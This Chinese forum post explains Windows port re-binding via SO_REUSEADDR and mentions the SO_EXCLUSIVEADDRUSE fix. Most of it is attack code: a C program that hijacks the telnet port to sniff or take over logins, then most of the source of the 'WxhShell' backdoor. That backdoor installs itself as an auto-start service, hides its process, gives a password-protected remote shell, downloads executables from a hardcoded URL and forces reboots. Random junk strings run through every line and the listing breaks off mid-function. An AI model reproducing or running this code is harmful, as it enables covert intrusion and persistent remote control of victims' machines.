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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J^nBdofP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W*4-.*U8a  
ogtEAv~e7N  
  saddr.sin_family = AF_INET; rEnQYz  
m!4ndO;0vh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fc%xS7&  
)}]g] g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '(VJ&UlS2  
Y. 5_6'Eo?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gsv uE  
" 4K(jXq|  
  这意味着什么?意味着可以进行如下的攻击: goRL1L,5  
5k3n\sqZA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?(y*nD[a  
 |`f$tj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z!#!Gu*V  
7 60Y$/Wz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?m=N]!n  
1k5Who@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :q7Wy&ow  
k\YG^I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UcDS9f_87  
*_{j=sd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [b<oDX#  
|zNX=mAV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _AYK435>N  
o\<ULW*  
  #include Xy&A~F  
  #include %~JJ.&  
  #include Ovt.!8  
  #include    vNY{j7l/W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0hNA1Fh{U  
  int main() Gg3,:A_ w  
  { y$F'(b| )  
  WORD wVersionRequested; AGO+p(6d=g  
  DWORD ret; Ae^~Cz1qz  
  WSADATA wsaData; 3!Ij;$  
  BOOL val; } FlT%>Gw  
  SOCKADDR_IN saddr; p8H'{f\G  
  SOCKADDR_IN scaddr; .fFCC`&T  
  int err; A*R^n}sh  
  SOCKET s; | y# Jx  
  SOCKET sc; *74MWF@IY  
  int caddsize; v ~?qz5:K~  
  HANDLE mt; o&zJ=k[4  
  DWORD tid;   x{8xW0  
  wVersionRequested = MAKEWORD( 2, 2 ); fZzoAzfv2  
  err = WSAStartup( wVersionRequested, &wsaData ); TnOggpQ6X  
  if ( err != 0 ) { qIE9$7*X  
  printf("error!WSAStartup failed!\n"); [M}{G5U.  
  return -1; ]z;I _-  
  } mPK:R^RjG&  
  saddr.sin_family = AF_INET; o>i4CCU+  
   B6As,)RjD:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4*#18<u5  
qI9z;_,gNz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K5VWt)Z#  
  saddr.sin_port = htons(23); '$IKtM`L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gHEu/8E  
  { b-?gw64#  
  printf("error!socket failed!\n"); sPQQ"|wU  
  return -1; ) 0W{]2  
  } xJvmhN/c  
  val = TRUE; LTCb@L{^i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #s( BuVU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T_ <@..C  
  { S9D<8j^  
  printf("error!setsockopt failed!\n"); #PW9:_BE  
  return -1; oUr66a/[U  
  } 9@:2wR |  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $q{!5-e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y;Dp3v !  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m%?pf2%I#  
xY8$I6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t]g-CW 3  
  { o5O#vW2Il&  
  ret=GetLastError(); (k)v!O-  
  printf("error!bind failed!\n"); ww3-^v  
  return -1; :T$|bc  
  } q=m'^ ,gPS  
  listen(s,2); ]t,BMu=%  
  while(1) -%CP@dAk  
  { tBWrL{xLe  
  caddsize = sizeof(scaddr); P[ck84F/  
  //接受连接请求 P {jbl!UD7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {.|CdqwY  
  if(sc!=INVALID_SOCKET) XS{Qnx_#  
  { B eo@K|3GN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "ycJ:Xv49  
  if(mt==NULL) P%VSAh\|n  
  { 6=/F$|  
  printf("Thread Creat Failed!\n"); mb3"U"ohs  
  break;  -p-ZzgQ  
  } cn3\kT*  
  } 'n]w"]|  
  CloseHandle(mt); *W1dG#Np}  
  } ~?Pw& K2  
  closesocket(s); 6OIte -c  
  WSACleanup(); eA?RK.e  
  return 0; fu ,}1Mq#  
  }   qkY:3Ozw  
  DWORD WINAPI ClientThread(LPVOID lpParam) $G+@_'  
  { ~P,lz!he_  
  SOCKET ss = (SOCKET)lpParam; (D&3G;0tK  
  SOCKET sc; 0<@KG8@hI;  
  unsigned char buf[4096]; gzT*-  
  SOCKADDR_IN saddr; <w9JRpFY  
  long num; ] vsz, 0  
  DWORD val; &64h ;P<  
  DWORD ret; (OL4Ex']  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S Lj!v&'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iB yf{I>+  
  saddr.sin_family = AF_INET; pRpBhm;iJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m,w A:o$'  
  saddr.sin_port = htons(23); hEH?[>9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s`8= 3]w  
  { #L;dI@7C  
  printf("error!socket failed!\n"); MrFQ5:=  
  return -1; Y =I'czg  
  } =v&hWjP  
  val = 100; >Q;l(fdj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n'LrQU  
  { Uz8ff  
  ret = GetLastError(); #A/  
  return -1; v$v-2y'%  
  } -f^tE,-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6l x>>J!H  
  { I6av6t}  
  ret = GetLastError(); p)-^;=<B3  
  return -1; /Iokf@5  
  } o#Dk& cH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ()?(I?II  
  { n;_sG>N  
  printf("error!socket connect failed!\n"); v{N`.~,^  
  closesocket(sc); 8/cX]J  
  closesocket(ss); 5Ln,{vsv  
  return -1; 1n8/r}q'H  
  } 9;u@q%;!k  
  while(1) ?e4YGOe.  
  { -@2iaQ(5a2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @b%=H/5\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k]|~>9eY]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +@f26O7$*  
  num = recv(ss,buf,4096,0); lfgq=8d  
  if(num>0) Qd{CMm x  
  send(sc,buf,num,0); .`H5cuF`  
  else if(num==0) lrE5^;/s1  
  break; 8/#A!Ww]  
  num = recv(sc,buf,4096,0); Pmx -8w  
  if(num>0) I$G['` XX/  
  send(ss,buf,num,0); h7oo7AP  
  else if(num==0) JPHL#sKyz  
  break; t!l&iVWs  
  } SKN`2hD  
  closesocket(ss); #:_Kws>+  
  closesocket(sc); Dx?,=~W9  
  return 0 ; d7 y[0<xM  
  } Bk c4TO  
Hvi49c]]  
2l'6.  
========================================================== jB2[(  
<'Eme  
下边附上一个代码,,WXhSHELL g:@#@1rB6  
oZgjQM$YP  
========================================================== h(dvZ= %  
^{`exCwM x  
#include "stdafx.h" .~;\eW[  
'H>^2C iM  
#include <stdio.h> 5C ]x!>kX  
#include <string.h> 4p F*"B  
#include <windows.h> !;A\.~-!G  
#include <winsock2.h> ;$|nrwhy  
#include <winsvc.h> \gaw6S>n}  
#include <urlmon.h> Wn2NMXK  
@Nx 9)  
#pragma comment (lib, "Ws2_32.lib") hn@08t G  
#pragma comment (lib, "urlmon.lib") cV6D<,)  
ED gag  
#define MAX_USER   100 // 最大客户端连接数 .`eN8Dl1  
#define BUF_SOCK   200 // sock buffer h[Y1?ln&h  
#define KEY_BUFF   255 // 输入 buffer K\r8g=U  
bAqA1y3=  
#define REBOOT     0   // 重启 .L~AL|2_  
#define SHUTDOWN   1   // 关机 (w3YvG.  
2/^3WY1U  
#define DEF_PORT   5000 // 监听端口 </z Eg3F\  
C,r;VyW6BI  
#define REG_LEN     16   // 注册表键长度 <%eG:n,#  
#define SVC_LEN     80   // NT服务名长度 U8?mc  
(L&d!$,Dv  
// 从dll定义API [z{1*Xc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {!L~@r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9Y9GwL]T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :5<UkN)R(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #;yZ  
=; Ff4aF  
// wxhshell配置信息 N4!O.POP  
struct WSCFG { Ti5-6%~&  
  int ws_port;         // 监听端口 6 H$FhJF  
  char ws_passstr[REG_LEN]; // 口令 ZY+qA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6cXyJW  
  char ws_regname[REG_LEN]; // 注册表键名 oMa6(3T?E  
  char ws_svcname[REG_LEN]; // 服务名 I\ob7X'Xu!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m:2^= l4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NXrlk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CD~.z7,LC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xx:"4l.w.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L="}E rmK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $U~]=.n  
)Aqtew+A&  
}; PJH&  
3]S$ih&A  
// default Wxhshell configuration /U9"wvg  
struct WSCFG wscfg={DEF_PORT, :$c |  
    "xuhuanlingzhe", ;.980+i1  
    1, ;e*!S}C,  
    "Wxhshell", 7!E,V:bt'  
    "Wxhshell", } q8ASYNc  
            "WxhShell Service", 4tBYR9|  
    "Wrsky Windows CmdShell Service", H.MI5O(Q  
    "Please Input Your Password: ", "chDg(jMZ  
  1, Wne@<+mX  
  "http://www.wrsky.com/wxhshell.exe", ^1.By^ $  
  "Wxhshell.exe" S,he6zS  
    }; rx|pOz,:  
4kx N<]  
// 消息定义模块 'H;*W|:-]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @o`AmC . 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L!xi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gd85kY@w7  
char *msg_ws_ext="\n\rExit."; gcT%c|.  
char *msg_ws_end="\n\rQuit."; gPPkT"  
char *msg_ws_boot="\n\rReboot..."; WNtW|I V  
char *msg_ws_poff="\n\rShutdown..."; dy[X3jQB  
char *msg_ws_down="\n\rSave to "; (sZ"iGn%  
6'f;-2  
char *msg_ws_err="\n\rErr!"; ckCE1e>s  
char *msg_ws_ok="\n\rOK!"; J|73.&B  
>hIu2jm  
char ExeFile[MAX_PATH]; 3bI9Zt#J%&  
int nUser = 0; es7=%!0  
HANDLE handles[MAX_USER]; &oMh]Z*:  
int OsIsNt; "w<#^d_6  
kAUymds;O  
SERVICE_STATUS       serviceStatus; ZN0P:==  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~P-mC@C  
|FRg\#kf%  
// 函数声明 [nq@mc~<  
int Install(void); v]UwJz3<  
int Uninstall(void); (T oUgVW1N  
int DownloadFile(char *sURL, SOCKET wsh); xAm6BB c  
int Boot(int flag); Ny/MJ#Lq  
void HideProc(void); $F.a><1rY  
int GetOsVer(void); )^hbsMhO  
int Wxhshell(SOCKET wsl); #RLt^$!H  
void TalkWithClient(void *cs); (TM,V!G+U~  
int CmdShell(SOCKET sock); C0Z=~Q%  
int StartFromService(void); [:*)XeRK  
int StartWxhshell(LPSTR lpCmdLine); _+MJ%'>S  
ns4,@C$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I> $&-i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OY({.uVdX  
FS1z`wYP  
// 数据结构和表定义 E]r?{t`]  
SERVICE_TABLE_ENTRY DispatchTable[] = w0unS`\4  
{ r3?o9D>  
{wscfg.ws_svcname, NTServiceMain}, YS_; OFsd  
{NULL, NULL} ^iYj[~  
}; Wd ELV3  
COlaD"Y  
// 自我安装 Z;"vW!%d  
int Install(void) MolgwVd  
{ 6Kz,{F@  
  char svExeFile[MAX_PATH]; 5"H=zJ=r  
  HKEY key; [Ch.cE_  
  strcpy(svExeFile,ExeFile); 7G],T++N  
klhtKp_p  
// 如果是win9x系统,修改注册表设为自启动 2Tppcj v  
if(!OsIsNt) { [2cD:JL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j] [,J49L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k9F=8q  
  RegCloseKey(key); c&Q$L }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Z4et'Lo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?aMOZn?  
  RegCloseKey(key); d/ @,@8:  
  return 0; <OPArht  
    } L}NSR  
  } |4`{]2C  
} 93hxSRw  
else { 0{SL&<&  
ddR>7d}N  
// 如果是NT以上系统,安装为系统服务 C7AUsYM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ek}A]zC  
if (schSCManager!=0) 9N3eN  
{ tq?!-x+>  
  SC_HANDLE schService = CreateService TL#3;l^  
  ( +"VP-s0  
  schSCManager, +"@ .8m  
  wscfg.ws_svcname, (7*}-Uy[C  
  wscfg.ws_svcdisp, 6W Ur QFK  
  SERVICE_ALL_ACCESS, xkA K!uVy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bZV/l4TU  
  SERVICE_AUTO_START, jz0T_\8D`  
  SERVICE_ERROR_NORMAL, *{{89E>wC  
  svExeFile, vvOV2n .WD  
  NULL, :M5l*sIO2  
  NULL, zx7{U8*`<  
  NULL, Y <qm{e  
  NULL, 9_s`{(0?  
  NULL ?bu>r=oIO]  
  ); nQS|Lt_+  
  if (schService!=0) L/^I*p,  
  { ?z u8)U  
  CloseServiceHandle(schService); E4xa[iZ  
  CloseServiceHandle(schSCManager); fikkY=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bN@ l?w  
  strcat(svExeFile,wscfg.ws_svcname); cN9t{.m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1-QS~)+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EJ@ ~/)<  
  RegCloseKey(key); ~PNub E  
  return 0; uW3!Yg@  
    } p D+k*  
  } v*yuE5{  
  CloseServiceHandle(schSCManager); |zE'd!7E  
} sp`Dvqx0  
} " 2Dngw  
Rws3V"{`[  
return 1; -Y;3I00(  
} *uvQ\.  
)sp+8  
// 自我卸载 FC"8#*x  
int Uninstall(void) _wL BA^d^  
{ 7t_^8I%[  
  HKEY key; 8HdAFRw  
-|\ZrE_h  
if(!OsIsNt) { ^sg,\zD 'X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"enpc_C/  
  RegDeleteValue(key,wscfg.ws_regname); 8-6L|#J#  
  RegCloseKey(key); >-{Hyx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 0U> F  
  RegDeleteValue(key,wscfg.ws_regname); ws^ np  
  RegCloseKey(key); xn|(9#1o  
  return 0; PnG-h~Y3N  
  } +d-NL?c  
} yR.Ong  
} 76` .Y  
else { 2dgd~   
4nz35BLr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C2)2)  
if (schSCManager!=0) YT8F#t8  
{ dnuu&Rv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ua `RJ  
  if (schService!=0) NW)1#]gg%  
  { gv{ >`AN  
  if(DeleteService(schService)!=0) { j 1HW._G  
  CloseServiceHandle(schService); /|#fejPh  
  CloseServiceHandle(schSCManager); W|(1Y D  
  return 0; Vs{|xG7W D  
  } e(8Ba X _  
  CloseServiceHandle(schService); /JU.?M35  
  } Oz#{S:24M+  
  CloseServiceHandle(schSCManager); d*Fj3Wkx  
} Q)z8PQl O  
} sFTy(A/  
ji,kkipY?w  
return 1; RY*U"G0#w  
} F1Bq$*'N$w  
_t}WsEQ+P  
// 从指定url下载文件 $ o#V#  
int DownloadFile(char *sURL, SOCKET wsh) hwNf~3eJk  
{ ##4HYQ%E  
  HRESULT hr; t<?,F  
char seps[]= "/"; )sQ*Rd@t[8  
char *token; B^jc3 VsR  
char *file; t@+}8^ M  
char myURL[MAX_PATH]; m<2M4u   
char myFILE[MAX_PATH]; BJo*'US-Q  
mU9kVx1+  
strcpy(myURL,sURL); ^L&iR0  
  token=strtok(myURL,seps); jOD?|tK&  
  while(token!=NULL) ib791  
  { _2 osV[e  
    file=token; N=g"(%  
  token=strtok(NULL,seps); yJe>JK~)  
  } ZWp(GC1NA  
c-FcEW  
GetCurrentDirectory(MAX_PATH,myFILE); t.\dpBq  
strcat(myFILE, "\\"); i<g-+Qs  
strcat(myFILE, file); %BB%pC  
  send(wsh,myFILE,strlen(myFILE),0); ^D-/`d  
send(wsh,"...",3,0); }f7j 8py  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U_c*6CK  
  if(hr==S_OK) IRqy%@)  
return 0; I[X772K  
else i8HTzv"J  
return 1; ('p5:d  
y Fq&8 x<X  
} 0NX,QD  
"i W"NFO  
// 系统电源模块 t}tEvh  
int Boot(int flag) Y% 5eZ=z  
{ $\y'I Q%  
  HANDLE hToken; gjzuG< 7m  
  TOKEN_PRIVILEGES tkp; x;<W&s}(  
CYYU 7  
  if(OsIsNt) { Uq`'}Vo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2WYPO"q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fvxu#m=  
    tkp.PrivilegeCount = 1; :tv,]05t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C'}KTXiRW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W#3Q ^Z?  
if(flag==REBOOT) { HT1!5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A1zjPG&]  
  return 0; Bo%NFB;  
} ]~hk6kS8Q  
else { !0mI;~q|F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  U}j0D2  
  return 0; 'F#KM1s  
} $5Ff1{  
  } ))'<_nD  
  else { ~zNAbaC+>t  
if(flag==REBOOT) { XAL1|] S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iTU5l5Uz  
  return 0; fkNbS  
} xe&i^+i  
else { 3WIk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O/(xj2~$ J  
  return 0; vTw>JNVI  
} GYUn6P  
} yd`mG{Z  
'u<juFr  
return 1; y;@:ulv[  
} "o}+Ciul  
=P #]  
// win9x进程隐藏模块 3 xp)a%=7  
void HideProc(void) pr UM-u8  
{  t[ C/  
x>`%DwoRI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r<Kx0`y  
  if ( hKernel != NULL ) 3HY9\'t6  
  { O55 xS+3^k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !5uGd`^I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cJ @Wt>YI  
    FreeLibrary(hKernel); 03S]8l  
  } HBx=\%;n  
#';:2Nyq  
return; xbYi.  
} dT1H  
{8,J@9NU  
// 获取操作系统版本 Y#$%iF  
int GetOsVer(void) B%+T2=&$7  
{ IG9VdDj  
  OSVERSIONINFO winfo; n$,*|_$#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )+t0:GwP`:  
  GetVersionEx(&winfo); H-fX(9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3]3|  
  return 1; v9O~@v{=  
  else Q%mB |i|  
  return 0; ':m,)G5&  
} ly3\e_z:G  
HcSXsF  
// 客户端句柄模块 Y,t={HiclX  
int Wxhshell(SOCKET wsl) ,0HRAmG  
{ F,)%?<!I  
  SOCKET wsh; j*TYoH1  
  struct sockaddr_in client; __GqQUQ  
  DWORD myID; VUR|OV%  
|02gupqqi  
  while(nUser<MAX_USER) d-r@E3  
{ 1 \6D '/G  
  int nSize=sizeof(client); KE3;V2Ym f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eHNyNVz  
  if(wsh==INVALID_SOCKET) return 1; \%N!5>cZ{  
Oh6fj}eK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ! lc[  
if(handles[nUser]==0) +<3X J7D  
  closesocket(wsh); j@uOOhy  
else e@* EzvO  
  nUser++; ?\s+EE&-  
  } /9p wZ%:<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !fR3 (=oN  
+8d1|cB"  
  return 0; vbe|hO""  
} 6?~"V  
:~N-.#  
// 关闭 socket } .y 1;.  
void CloseIt(SOCKET wsh) .I0qGg  
{ Jk=I^%~  
closesocket(wsh); <oA7'|Bu<  
nUser--;  ^J)mH[  
ExitThread(0); !"/n/jz  
} fbKkq.w  
F Yzi~L  
// 客户端请求句柄 kH7(@Pa  
void TalkWithClient(void *cs) q ]e`9/U  
{ YhE+W  
3L}!RB  
  SOCKET wsh=(SOCKET)cs; kN4{13Qs*  
  char pwd[SVC_LEN]; }"PU%+J  
  char cmd[KEY_BUFF]; yS(fILV  
char chr[1]; # ,_u_'C*!  
int i,j; OJ5#4qJ[  
$jI3VB  
  while (nUser < MAX_USER) { 9s$CA4?HP  
[b>Fn%y  
if(wscfg.ws_passstr) { >A"v ed8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DiwxXqY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WRy aKM  
  //ZeroMemory(pwd,KEY_BUFF); yiC^aY=-  
      i=0; +&( Mgbna  
  while(i<SVC_LEN) { dj7hx"BI  
6GSI"M6s  
  // 设置超时 LzXmb 7A  
  fd_set FdRead; %9N7Ln|%  
  struct timeval TimeOut; i}mVQ\j5  
  FD_ZERO(&FdRead); RcM/!,B  
  FD_SET(wsh,&FdRead); vZ&T}H~8  
  TimeOut.tv_sec=8; iwp{%FF  
  TimeOut.tv_usec=0; CpeU5 o@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4N zwE(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -$jEfi4I  
W~~7 C,!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;HJLs2bP  
  pwd=chr[0]; W=Mb  
  if(chr[0]==0xd || chr[0]==0xa) { v)l8@.  
  pwd=0;  6S*e xw  
  break; ^O<&f D  
  } J|kR5'?x  
  i++; ()Y4v  
    } TKY*`?ct  
,t9^j3Ixg  
  // 如果是非法用户,关闭 socket y 4I6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :'3XAntZA  
} X=!^] 3zH  
G{ sOR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^*8G8'k;$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4C-jlm)V  
3z)Kz*xr  
while(1) { UA8GL D9  
-tHU6s,  
  ZeroMemory(cmd,KEY_BUFF); . Z.)t  
Mg OR2,cR  
      // 自动支持客户端 telnet标准   YY)s p%  
  j=0; S=<}:#;u0  
  while(j<KEY_BUFF) { 1#*a:F&re  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l(u.I2^o  
  cmd[j]=chr[0]; *`\Pr  
  if(chr[0]==0xa || chr[0]==0xd) { XY)&}u.  
  cmd[j]=0; K/b_22]CC  
  break; ;"fDUY|  
  } eg?<mKrZ  
  j++; Hl/ QnI!  
    } BuWHX>H  
C8e !H  
  // 下载文件 9S7 kUl{  
  if(strstr(cmd,"http://")) { 5rRN-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h[1MtmNw  
  if(DownloadFile(cmd,wsh)) [}/LD3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u7\J\r4,+  
  else /#-C4"|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R)z4n  
  } 7X q,z  
  else { #Jn_c0  
?R Oqn6k&c  
    switch(cmd[0]) { RwPN gRF  
  )Xak JU^o  
  // 帮助 =aj/,Q]  
  case '?': { X*39c b(b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mjfx~I27  
    break; ~Ro9u p  
  } s3O} 6  
  // 安装 Q`D~5ci  
  case 'i': { YW`,v6  
    if(Install()) (TwnkXrR,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@d[h,TM  
    else wsN?[=l{s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? glSC$b  
    break; IOoz^/'  
    } j!4et;  
  // 卸载 a1.Ptf eW|  
  case 'r': { _$f9]bab  
    if(Uninstall()) ]*FVz$>XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vj\dA2!~  
    else U{z9>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *@Y3oh}S  
    break; X4t s)>"d  
    } ;A'Z4=*~  
  // 显示 wxhshell 所在路径 2 :mn</z  
  case 'p': { I8<,U!$  
    char svExeFile[MAX_PATH]; !+4cqO  
    strcpy(svExeFile,"\n\r"); 0 79'(%  
      strcat(svExeFile,ExeFile); Eu-RNrYh#  
        send(wsh,svExeFile,strlen(svExeFile),0); s#DaKPC  
    break; L19C<5>  
    } ^Au _U  
  // 重启 [y)`k@  
  case 'b': { 1Q4}'0U4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $Y_i4(  
    if(Boot(REBOOT)) 1jPJw3"3h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~ t{aLPz  
    else { =ng\ 9y[;D  
    closesocket(wsh); bH2MdU  
    ExitThread(0); 8 <7GdCME  
    } YoLx>8  
    break; D3^7y.u<)  
    } 'XofD}dm  
  // 关机 I_%a{$Gjl  
  case 'd': { %4 XJn@J  
